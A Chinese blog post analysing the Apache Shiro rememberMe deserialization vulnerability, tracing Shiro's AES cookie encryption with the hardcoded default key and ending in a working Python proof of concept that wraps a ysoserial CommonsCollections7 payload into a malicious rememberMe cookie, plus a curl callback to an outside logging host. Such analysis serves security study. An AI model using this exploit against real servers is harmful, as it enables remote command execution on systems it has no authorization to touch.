• 1. Stay - Post
  • 2. Circles - Post
  • 3. Hollywood's_Bleeding - Post
  • 4. A_Thousand_Bad_Times - Post

Apache Shiro RemberMe 反序列化漏洞分析

前言

最近实验室招新,某大佬对萌新出了一道shiroRemberMe反序列化,正好最近在学习java安全,接着这个机会来分析一下这个漏洞吧,也因为老谈理论不太好,还是实际分析一个漏洞更加清楚。

有关Cookie加密流程

这道题是不用登录能够直接打的,虽然这个代码看注释是嫖来的,但实际结构要比vulhub上的环境更简洁一点(不用登录),因此我们先来看看反序列化的入口在哪?既然名字都叫RemberMe反序列化了,那么自然是RemberMe的使用上出现了问题,所以我们看看shiro是如何处理Cookie的。

首先是ShiroConfig类,这里有两个关键信息:

@Bean
public SecurityManager securityManager() {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        // 设置realm
        securityManager.setRealm(authRealm());
        // 用户授权/认证信息Cache, 采用EhC//注入记住我管理器
        securityManager.setRememberMeManager(rememberMeManager());
        return securityManager;
}
....
public CookieRememberMeManager rememberMeManager() {
        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
        cookieRememberMeManager.setCookie(rememberMeCookie());
        // rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 256 512 位)
        cookieRememberMeManager.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        return cookieRememberMeManager;
    }
}

SecurityManager是个自定义校验器,他通过ShiroFilter将这个校验器注册到全局,从这里看出自定义校验器中,指定了CookieRememberMeManager作为RememberMe的校验器,虽然这里直接将CipherKey硬编码成kPH+bIxk5D2deZiIxcaaaA==,但实际这一步是多余的,我们来看看CookieRememberMeManager

public class CookieRememberMeManager extends AbstractRememberMeManager {
    private static final transient Logger log = LoggerFactory.getLogger(CookieRememberMeManager.class);
    public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";
    private Cookie cookie;

    public CookieRememberMeManager() {
        Cookie cookie = new SimpleCookie("rememberMe");
        cookie.setHttpOnly(true);
        cookie.setMaxAge(31536000);
        this.cookie = cookie;
    }
    //省略许多的方法
}

我们发现这个CookieRememberMeManager继承自AbstractRememberMeManager,跟进一下:

public abstract class AbstractRememberMeManager implements RememberMeManager {
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
    private CipherService cipherService = new AesCipherService();
    private byte[] encryptionCipherKey;
    private byte[] decryptionCipherKey;

    public AbstractRememberMeManager() {
        this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }
    //省略许多方法
}

这里其实设置了默认的密钥,就是硬编码这坨,所以如果需要更改则可以使用set修改,但如果没变的话这一步实际上是没必要的,接着来看看RememberMe是如何加密的AbstractRememberMeManager对应的加密方法:

protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
            value = byteSource.getBytes();
        }

        return value;
    }

这里的encrypt实际上是CipherService类中的encrypt方法,CipherService是一个接口,实际上enctypt方法在JcaCipherService中实现:

public ByteSource encrypt(byte[] plaintext, byte[] key) {
        byte[] ivBytes = null;
        boolean generate = isGenerateInitializationVectors(false);
    //构造函数会将generateInitializationVectors设置为true,因此最后返回的generate也为true
        if (generate) {
            ivBytes = generateInitializationVector(false);
            if (ivBytes == null || ivBytes.length == 0) {
                throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
                        "cannot be null or empty.");
            }
        }
        return encrypt(plaintext, key, ivBytes, generate);
    }

这里ivBytes通过generateInitializationVector生成:

private static final int DEFAULT_KEY_SIZE = 128;
private static final int DEFAULT_STREAMING_BUFFER_SIZE = 512;
private static final int BITS_PER_BYTE = 8;
//设置的默认值
protected JcaCipherService(String algorithmName) {
        if (!StringUtils.hasText(algorithmName)) {
            throw new IllegalArgumentException("algorithmName argument cannot be null or empty.");
        }
        this.algorithmName = algorithmName;
        this.keySize = DEFAULT_KEY_SIZE;
        this.initializationVectorSize = DEFAULT_KEY_SIZE; //default to same size as the key size (a common algorithm practice)
        this.streamingBufferSize = DEFAULT_STREAMING_BUFFER_SIZE;
        this.generateInitializationVectors = true;
    }
//构造函数
protected byte[] generateInitializationVector(boolean streaming) {
        int size = getInitializationVectorSize();
    //由于构造函数这里是128位
        if (size <= 0) {
            String msg = "initializationVectorSize property must be greater than zero.  This number is " +
                    "typically set in the " + CipherService.class.getSimpleName() + " subclass constructor.  " +
                    "Also check your configuration to ensure that if you are setting a value, it is positive.";
            throw new IllegalStateException(msg);
        }
        if (size % BITS_PER_BYTE != 0) {
            String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array.";
            throw new IllegalStateException(msg);
        }
        int sizeInBytes = size / BITS_PER_BYTE;
    //128/8 -> 16 这里得到是16位的大小
        byte[] ivBytes = new byte[sizeInBytes];
        SecureRandom random = ensureSecureRandom();
        random.nextBytes(ivBytes);
        return ivBytes;
    }

generateInitializationVector涉及函数有点多,稍微简化之后,将涉及的列在这里,从而这里得到了ivBytes16Bytes[],最后通过publicencrypt调用privateencrypt方法:

    private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
        /*
         * 梳理一下参数 plaintext为加密的明文,key为默认的硬编码,byte[] iv为16位大小的随机字符,prependIv为true
        */
        final int MODE = javax.crypto.Cipher.ENCRYPT_MODE;
        // 默认值为1即CBC模式加密
        byte[] output;
        if (prependIv && iv != null && iv.length > 0) {
            byte[] encrypted = crypt(plaintext, key, iv, MODE);
            output = new byte[iv.length + encrypted.length];
            //now copy the iv bytes + encrypted bytes into one output array:
            // iv bytes:
            System.arraycopy(iv, 0, output, 0, iv.length);
            // + encrypted bytes:
            System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
        } else {
            output = crypt(plaintext, key, iv, MODE);
        }
        if (log.isTraceEnabled()) {
            log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ".  Ciphertext " +
                    "byte array is size " + (output != null ? output.length : 0));
        }
        return ByteSource.Util.bytes(output);
    }

随后就扔给javax.crypto.Cipher进行加密了,我们会发现最后返回的是一个字节序列,这个字节序列就是加密出来的cookie了,但rememberMe最后应该返回一个base64编码的字符串才对,再回到CookieRememberMeManager,原因是在rememberSerializedIdentity方法里面:

    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

        } else {
            HttpServletRequest request = WebUtils.getHttpRequest(subject);
            HttpServletResponse response = WebUtils.getHttpResponse(subject);
            String base64 = Base64.encodeToString(serialized);
            //这里会将序列化的数据进行base64编码
            Cookie template = this.getCookie();
            Cookie cookie = new SimpleCookie(template);
            cookie.setValue(base64);
            cookie.saveTo(request, response);
        }
    }

这里会序列化数据的原因是因为,在使用login操作的时候,会根据传入的相应内容生成一个token,用于生成AuthenticationInfo

public interface AuthenticationInfo extends Serializable {
    PrincipalCollection getPrincipals();
    Object getCredentials();

}

AuthenticationInfo是一个接口,这两个方法分别在

这两个类中实现,可以知道实际上AuthenticationInfo对应的是用户验证的信息,它指代每一个用户对象,所以自然需要序列化了。

有关入口

来看看login的路由函数:

如果持续跟进login方法的话,login函数的实现上(千万别继续跟了,函数栈太复杂了),使用了一个类

这个类也是个接口,通过注释来看:

Returns the primary principal used application-wide to uniquely identify the owning account/Subject.

这个接口是用来生成唯一的一个用户识别对象的

没跑了,这就是验证的时候所生成的识别特定用户类了,我们看看他的实现方法,既然这个类会被用来生成用户的识别对象,那么可以判断其中肯定有得到用户信息的办法,所以我们来看看getRealmNames方法的实现:

这里涉及到了两个类,从类名来看下面的Map应该是类似于将用户对象,以Map的形式存入,因此我们看看SimplePrincipalCollection,这里最终找到了readObject方法,也就是反序列化的入口了。

最后如果在回去看看AbstractRememberMeManager类的话,会发现里面有对应的处理方法,比如:

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

这里存在将对象转化成字节序列的操作,也就是序列化和反序列化对象的操作,而我们的Principals对象里面的反序列化方法readObject使用的默认的defaultReadObject()基本啥都能读,所以这里只需要传入一个构造好的恶意反序列化对象,Principals就我帮我们触发反序列化漏洞了,最后就来看看AbstractRememberMeManager.deserialize方法吧

public Serializer<PrincipalCollection> getSerializer() {
        return serializer;
    }
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }

这里实际上是调用Serializer对象中的deserialize方法:

这里有两处实现,XML估计可能性不大,应该在DefaultSerializer中,最后我们找到了这个方法:

有关POC

现在我们再来看看POC是怎么写的:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections7', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 网络上使用AES加密基本都是这样写的,后面encode是为了将字符串转化为字节序列
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    # 硬编码的默认密钥
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    # 生成随机数和java原流程一样,使用随机数填满的16位字符序列
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    # 生成AES加密器
    file_body = pad(popen.stdout.read())
    # 获得ysoserial工具得到的序列化字符序列,并进行位数不够的填充操作
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
'''
            byte[] encrypted = crypt(plaintext, key, iv, MODE);
            output = new byte[iv.length + encrypted.length];
            //now copy the iv bytes + encrypted bytes into one output array:
            // iv bytes:
            System.arraycopy(iv, 0, output, 0, iv.length);
            // + encrypted bytes:
            System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
            等同于这几步
'''
    return base64_ciphertext
    # 返回字符串
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

这里因为运行环境是jdk12,所以使用CC7链作为利用链,最后将生成的cookie添加到请求包中就,即可触发反序列化漏洞了。

当然由于ysoserial中的执行命令使用的是java.lang.Runtime.exec()执行命令的,我们知道这个无法执行复杂的命令,因为`><等符号会导致解析命令错误,所以我们可以使用:

java.lang.Runtime.exec() Payload Workarounds

对复杂命令进行编码,编码成能够执行的样子。由于我这里使用的curl简单的测试,所以直接curl [Myceye.io]

就直接可以得到回显了:

总结

其实之前学习Java反序列化的时候会想,为什么ysoserial里的利用链能够到处打,最后发现实际上是因为所使用的利用链是commons-collections中的利用链,而这个包很多Javaweb应用都在使用,因此不得不感叹ysoserial作者的厉害之处,能够找到适用性如此大的一条链条。

最后就是全文可能会出现一些错误(菜),还希望各位大佬阅读后能够帮助博主斧正。
参考文章:
Shiro rememberMe 反序列化分析
Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell


除非注明,ebounce文章均为原创,转载请以链接形式标明本文地址

本文地址:http://ebounce.cn/web/66.html

新评论

captcha
请输入验证码